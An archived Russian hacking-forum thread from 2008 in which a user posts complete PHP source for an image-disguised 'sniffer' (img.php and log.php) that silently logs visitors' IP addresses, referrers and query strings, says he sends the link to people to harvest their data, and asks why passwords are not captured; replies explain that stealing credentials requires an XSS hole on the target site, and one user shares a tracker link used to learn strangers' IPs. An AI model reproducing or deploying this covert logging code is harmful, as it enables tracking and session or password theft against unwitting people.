Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

php-сниффер: кража паролей с форумов итп

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> php-сниффер: кража паролей с форумов итп
Имя
Сообщение << Старые топики   Новые топики >>
php-сниффер: кража паролей с форумов итп - 2008-08-28 09:19:56.090000   
IInkvizitor

Сообщений: 11
Оценки: 0
Присоединился: 2008-05-29 17:25:16.333333
Вот скачал php-сниффер, даю людям в контакте/на форумах, их ip и откеуда пришли вижу, а хеша пароля нет. Как его увидеть? Может у меня фиговый сниффер? =)

Вот сам сниффер:
img.php
&lt;?php # Функции ---------------- # function ch_symbol( $Str ) { $Str = str_replace( "&lt;","&lt;",$Str ); $Str = str_replace( "&gt;","&gt;",$Str ); $Str = str_replace( "_","&#151;",$Str ); return $Str; } # ----------------------- # # Обьявляем переменные -- # $File = "log.txt"; $Name_Img = "1.gif"; $RZ = "_"; $Date = date( "d:m:Y" ); $Time = date( "H:i" ); $IP = trim( $_SERVER['REMOTE_ADDR'] ); $REF = trim( $_SERVER['HTTP_REFERER'] ); $QS = trim( $_SERVER['QUERY_STRING'] ); # ----------------------- # # показываем картинку # Header( "HTTP/1.0 200 OK" ); header( "Content-Type:image/gif" ); if ( file_exists( $Name_Img ) ) { $Img = fopen( $Name_Img,"r" ); if ( $Img ) { fpassthru($Img); fclose($Img); } else exit( ":-)" ); } else exit( ":-)" ); # ----------------------- # # заменяем символы ------ # if ( empty($IP) ) { $IP = "None"; } else { $IP = ch_symbol( $IP ); } if ( empty($REF) ) { $REF = "None"; } else { $REF = ch_symbol( $REF ); } if ( empty($QS) ) { $QS = "None"; } else { $QS = ch_symbol( $QS ); } # ---------------------- # # открываем файл лога в режиме чтения и заносим # всё содержимое в буфер(переменную) if ( file_exists($File) ) { $Fpr = fopen( $File,"r" ); if ( $Fpr ) { # блокируем файл и читаем собержимое # flock( $Fpr,LOCK_SH ); $Bufer = fread( $Fpr,filesize($File) ); flock( $Fpr,LOCK_UN ); fclose( $Fpr ); # ---------------------------------- # # открываем(создаём) файл и записываем информацию переданную скрипту # и дописываем в конец предыдущую информацию, таким образом новая информация # находиться всегда впереди(вверху) $Fpw = fopen( $File,"w" ); if ( $Fpw ) { for($i=0; $i&lt;10; ++$i ) { if ( flock($Fpw,LOCK_EX) ) break; else sleep(1); } fwrite( $Fpw,$IP.$RZ.$REF.$RZ.$QS.$RZ.$Date.$RZ.$Time."\n"); fwrite( $Fpw,$Bufer ); flock( $Fpw,LOCK_UN ); fclose( $Fpw ); } else exit( ":-)" ); } else exit( ":-)" ); } else exit( ":-)" ); # ------------------------------------------ # ?&gt;
log.php
&lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; BODY { background:#708090 } A{ font:11px Verdana; color:#FFF; font-weight:bold; text-decoration:none } A:HOVER { text-decoration:underline } #ERROR { font:12px Verdana; font-weight:bold; color:#FFF } #MAIN_TBL { border:2px solid #666; background:; } #IP_TXT { font:12px Verdana; font-weight:bold } #IP_VAL { font:12px Verdana; font-weight:bold; color:#008000 } #REF_TXT { font:12px Verdana; color:#000080 } #REF_VAL { font:12px Verdana; color:#A52A2A } #SQ_TXT { font:12px Verdana; color:#000080 } #SQ_VAL { font:12px Verdana; color:#A52A2A } .BGCOLOR { background:#F5DEB3 } .BGCOLOR2 { background:#D2B48C } .TIME_DATE { font:11px Verdana; font-weight:bold; color:#8B4513 } .DEFAULT { margin:2px 5px 2px 5px } &lt;/style&gt; &lt;/head&gt; &lt;body leftmargin="0" rightmargin="0" topmargin="0" bottommargin="0"&gt; &lt;?php # Оюьявляем переменные ------------------------------ # $file = "log.txt"; $email = "&lt;a href='mailto:faunder@tut.by'&gt;Vantuz&lt;/a&gt;"; $error = "&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;span id='error'&gt;Файл лога пуст&lt;/span&gt;&lt;br&gt;".$email."&lt;/center&gt;"; $error_no_file = "&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;span id='error'&gt;Файл лога недоступен&lt;/span&gt;&lt;br&gt;".$email."&lt;/center&gt;"; $onpage = 10; # --------------------------------------------------- # if ( file_exists( $file ) ) { # записываем содержимое файла в масиив # $file_array = file( $file ); $file_count = count( $file_array ); # ------------------------------------ # # если файл пуст, то выводим сообщение # об ошибке и останавливаем скрипт # if ( $file_count == 0 ) exit( $error ); # ------------------------------------ # # если $_GET['show'](значение страницы которую надо вывести) не существует # или она пуста или меньше нуля или не число то, присваиваем значение ноль # т.е. первая страница в логе if ( !isset($_GET['show']) or empty($_GET['show']) or $_GET['show'] &lt; 0 or !preg_match("/^[\d]+$/i",$_GET['show']) ) { $show = 0; } else { $show = $_GET['show']; } # иначе присваиваем $show значение из $_GET['show'] # # $allpages количество всех страниц -------- # # $atpage с какого сообщения нужно выводить # $topageдо какого сообщения нужно выводить $allpages = ceil( $file_count/$onpage ); $atpage = $show * $onpage; $topage = $atpage + $onpage; # ------------------------------------------ # # если значение $topage больше значения всех сообщений # то выводим сообщения до $file_count if ( $topage &gt; $file_count ) { $topage = $file_count; } echo "&lt;br&gt;&lt;br&gt;"; # выводим содержимое файла лога в броузер в отформатированном виде # for( $n=$atpage; $n&lt;$topage; $n++ ) { list( $Ip,$Ref,$Qs,$Date,$Time ) = explode( "_",$file_array[$n] ); echo "&lt;table width='100%' cellspacing='0' cellpadding='0'&gt;"; echo "&lt;tr&gt;"; echo "&lt;td width='10%'&gt;"; echo "&lt;td width='80%'&gt;"; echo "&lt;table width='100%' cellspacing='1' cellpadding='2' id='main_tbl'&gt;"; echo "&lt;td width='25%' class='bgcolor'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span id='ip_txt'&gt;IP адрес : &lt;/span&gt;&lt;span id='ip_val'&gt;".$Ip."&lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;td align='right' class='bgcolor'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span class='time_date'&gt;Время : ".$Time."&lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;td align='right' width='17%' class='bgcolor'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span class='time_date'&gt;Дата : ".$Date."&lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;/tr&gt;"; echo "&lt;tr&gt;"; echo "&lt;td class='bgcolor2'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span id='ref_txt'&gt;Откуда пришёл : &lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;td colspan='2' class='bgcolor2'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span id='ref_val'&gt;".$Ref."&lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;/tr&gt;"; echo "&lt;tr&gt;"; echo "&lt;td class='bgcolor2'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span id='sq_txt'&gt;Строка запроса : &lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;td colspan='2' class='bgcolor2'&gt;"; echo "&lt;div class='default'&gt;"; echo "&lt;span id='sq_val'&gt;".$Qs."&lt;/span&gt;"; echo "&lt;/div&gt;"; echo "&lt;/td&gt;"; echo "&lt;/table&gt;"; echo "&lt;/td&gt;"; echo "&lt;td width='10%'&gt;"; echo "&lt;/tr&gt;"; echo "&lt;/table&gt;"; echo "&lt;br&gt;"; } # -------------------------------------------------------------------- # # Навигация -----------------------------------------# echo "&lt;center&gt;"; for ( $i=0; $i&lt;$allpages; $i++ ) { $totalpage = $i + 1; if ( $i == $show ) echo "&lt;b&gt;".$totalpage."&lt;/b&gt;"; if ( $i != $show ) echo " &lt;a href='?show=".$i."'&gt;".$totalpage."&lt;/a&gt; "; } echo "&lt;/center&gt;"; # Навигация -----------------------------------------# # иоё мыло ------------- # echo "&lt;br&gt;"; echo "&lt;center&gt;".$email."&lt;/center&gt;"; # иоё мыло ------------- # } else exit( $error_no_file ); ?&gt; &lt;/body&gt; &lt;/html&gt; +еще картинка 1.gif+log.txt
Post #: 1
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:03:16.933333   
Mr_Naeba

Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
Наверно припозднился с ответом^^
он не должен снифать пароль, он лукает айпи при входе на img.php.

В логах записывается время на 7 часов отстающее от московского. не порядок^^
Как исправить?
Post #: 2
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:13:21.876666   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
Эм перед тем как спросить можно и в гуглеосилитьстатейку по xss))
Post #: 3
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:19:41.253333   
Mr_Naeba

Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
gпричем тут xss?)
там нашел ток одну строку. нет, две строки. отвечающие за время

echo "&lt;span class='time_date'&gt;Время : ".$Time."&lt;/span&gt;";

list( $Ip,$Ref,$Qs,$Date,$Time ) = explode( "_",$file_array[$n] ); Еще одна отвечает за вид выводимой инфы время_дата.
Где там вообще часовой пояс задается?)
Post #: 4
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:21:38.380000   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666

quote:

ORIGINAL: Mr_Naeba

gпричем тут xss?)
там нашел ток одну строку. нет, две строки. отвечающие за время

echo "&lt;span class='time_date'&gt;Время : ".$Time."&lt;/span&gt;";

list( $Ip,$Ref,$Qs,$Date,$Time ) = explode( "_",$file_array[$n] ); Еще одна отвечает за вид выводимой инфы время_дата.
Где там вообще часовой пояс задается?)

Интересно как вы пытаетесь соснифать пасс не имея xss баги в нужном сайте?
Post #: 5
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:30:49.883333   
Mr_Naeba

Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
кхм. я его поставил на свой хост, если надо узнать чей той айпи - кидаю ссыль. никто не отказывал ^_^
оу, или эт от времени хоста зависит?(
Post #: 6
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:35:30.523333   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666

quote:

ORIGINAL: Mr_Naeba

кхм. я его поставил на свой хост, если надо узнать чей той айпи - кидаю ссыль. никто не отказывал ^_^
оу, или эт от времени хоста зависит?(

Я отвечал на вопрос ТС который хотел снифануть пасс))
НАсчёт времени скорее всего от времени хостинга зависит.
зы:ip моно узнать намного проще)
Post #: 7
RE: php-сниффер: кража паролей с форумов итп - 2008-10-04 13:38:48.293333   
Mr_Naeba

Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
http://fully_former.phpnet.us/katal/boobles.php - против такого мужик не пройдет^^
По мне, так и этот не сложный^^
Думаю что ТС уже глубоко безразлично:)
Да и он тоже наверн ссыль на хост давал.


Как можно время поменять? Кусок кода скажите, и куда его ставить^^
Я пхп не разбирал.
Post #: 8
RE: php-сниффер: кража паролей с форумов итп - 2008-10-13 11:09:26.063333   
Dr.James

Сообщений: 250
Оценки: 0
Присоединился: 2007-10-27 16:08:24.420000
Mr_Naeba ты каким хостингом пользуешся?
Post #: 9
RE: php-сниффер: кража паролей с форумов итп - 2008-10-13 14:36:46.376666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
По поводу IP узнать - смотрите на мою подпись, а снифануть пасс можно только если вы нашли XSS на атакуемом сайте. Так что нет XSS - нет и толку от снифера
Post #: 10
Страниц:  [1]
Все форумы >> [В Сети] >> php-сниффер: кража паролей с форумов итп







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.